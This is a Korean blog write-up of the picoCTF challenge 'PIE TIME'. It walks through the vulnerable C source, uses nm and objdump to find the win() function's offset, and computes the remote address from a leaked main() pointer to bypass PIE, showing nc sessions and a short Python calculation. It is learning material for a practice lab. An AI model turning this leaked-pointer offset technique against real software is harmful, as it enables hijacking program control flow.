ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Buffer Overflow] picoCTF WebShell PIE TIME
    Hacking/CTF 문제 풀이 2025. 5. 22. 22:44
    728x90
    반응형

    1. 시작 및 분석

    이번 문제의 유일한 힌트를 보고 나름 정리를 해봤다.

    이거랑 바이너리 파일 하나를 준다.

    #include <stdio.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <unistd.h>
    
    void segfault_handler() {
      printf("Segfault Occurred, incorrect address.\n");
      exit(0);
    }
    
    // 뭔가 이거 실행되면 되는거 같다.
    int win() {
      FILE *fptr;
      char c;
    
      printf("You won!\n");
      // Open file
      fptr = fopen("flag.txt", "r");
      if (fptr == NULL)
      {
          printf("Cannot open file.\n");
          exit(0);
      }
    
      // Read contents from file
      c = fgetc(fptr);
      while (c != EOF)
      {
          printf ("%c", c);
          c = fgetc(fptr);
      }
    
      printf("\n");
      fclose(fptr);
    }
    
    int main() {
      // signal 등록 SIGSEGV 발생 시 segfault_handler 동작
      signal(SIGSEGV, segfault_handler);
      // _IONBF 이게 버퍼 안쓰겠다고 하니 뭐 버퍼 없이 출력한다 이건가?
      setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
    
      printf("Address of main: %p\n", &main);
    
      // unsigned는 양수만 가능하다고 하고 뭐 변수 선언?
      unsigned long val;
      printf("Enter the address to jump to, ex => 0x12345: ");
      // 내가 입력한 값을 %lx로 16진수로 읽게 하고 그걸 val에 저장한다.
      // &val는 val 주소를 나타내니 주소에 저걸 붙잡도록?
      scanf("%lx", &val);
      printf("Your input: %lx\n", val);
    
      // 이게 뭔소리인지 모르겠다.
      // 일단 밑에서 실행하는걸로 봐서는 foo는 함수다.
      // 구글에서 찾아본 결과
      // void : 반환타입
      // (*foo) : foo는 포인터
      // (void) : 매개변수가 없다.
      
      // val를 형변환한다.
      // 반환 타입은 void이고
      // 포인터이고
      // 매개변수는 없는 걸로
      void (*foo)(void) = (void (*)())val;
      
      // foo 실행
      // 형변환된 함수 포인터로 실행을 시도할 때 오류가 나면 그게 SIGSEGV 이거다.
      foo();
    }

    그리고 문제에 있는거 처럼 nc rescued-float.picoctf.net 59822로 접속한다.

    nc rescued-float.picoctf.net 58395
    
    Address of main: 0x5c788567d33d
    Enter the address to jump to, ex => 0x12345:

    일단 무지성으로 몇개를 적어서 보내봤더니 다 Segfault Occurred, incorrect address.\n 메시지와 함께 종료 된다.
     
    코드를 보니깐 내가 입력한 값을 주소로 메소드 형변환 시켜서 실행하고 있다.
     
    그럼 win() 주소를 주면 되는데 어떻게 주지?

     

    구글에 c 바이너리 파일 주소 찾기라고 검색하니 다양한 방법이 나왔다.

    # 가장 짧고 딱 win 시작 주소를 반환한다.
    nm vuln | grep win
    
    # 해당 함수의 어셈블리어와 함께 시작 주소를 반환한다.
    objdump -d vuln | grep win
    
    # 해당 함수의 시작 주소 및 16진수로 size를 반환한다.
    objdump -t vuln | grep win

    나는 바이너리 파일이라는 말에 아무 생각없이 strings 를 써봤는데 내가 필요한건 주소라서 실패했다.

    2. 풀이

    아무튼 위에서 얻은 값을 넣으면 되겠다.

    $ nc rescued-float.picoctf.net 61369
    Address of main: 0x61ac3957b33d
    Enter the address to jump to, ex => 0x12345: 00000000000012a7
    Your input: 12a7
    Segfault Occurred, incorrect address.

    뭐가 잘못된건지 모르겠지만 실패했다.

    근데 오타로 실패한줄 한번 더 해보고 이상한걸 하나 발견했다.

    분명 처음에는 Address of main 이 0x61ac3957b33d 이거 였는데 지금은 0x5847620f433d 이거고 실행할때마다 다르다.

    그래서 main이라길래 바이너리 파일에서 main의 주소를 찾아봤는데 000000000000133d 이걸로 고정되어있다.

     

    구글에 찾아보니 서버 연결시 마다 새로운 인스턴스를 만들고 이때 랜덤으로 주소가 생긴다고 한다.

    그럼 약간 생각해보면 저 서버에 있는 win() 주소를 보내줘야 실행할꺼 같다.

    로컬에 win() 주소를 아무리 줘봤자 저 서버에서는 알 수 없을 꺼 같다.

     

    정리해보면

    1. 원격 서버의 main 함수 주소는 항상 다르다.
    2. 로컬의 main과 win 함수 주소는 항상 같다.
    3. 원격 서버에 맞는 win 함수 주소를 줘야한다.

    구글에 검색해보니 이렇게 주소가 다를때 맞추는걸 Offset을 계산한다고 말하더라.

    이제 이걸 알았으니 offset 계산 하는 방식을 찾아보자.

    # python
    remote_main_address = 0x5df1f297c33d
    local_main_offset = 0x133d
    local_win_offset = 0x12a7
    
    remote_base_address = remote_main_address - local_main_offset
    remote_win_address = remote_base_address + local_win_offset
    
    print(hex(remote_win_address))

     생각보다 offset 계산이라는건 되게 간단하다.

     

    이제 nc로 원격서버와 연결 후 나온 주소를 대입 하고 계산해서 나온 결과 값을 넣어주면 될꺼같다.

    Address of main: 0x5bd8c979233d
    Enter the address to jump to, ex => 0x12345: 0x5bd8c97922a7
    Your input: 5bd8c97922a7
    You won!
    비밀번호는 비밀입니다.
    728x90
    반응형
Designed by Tistory.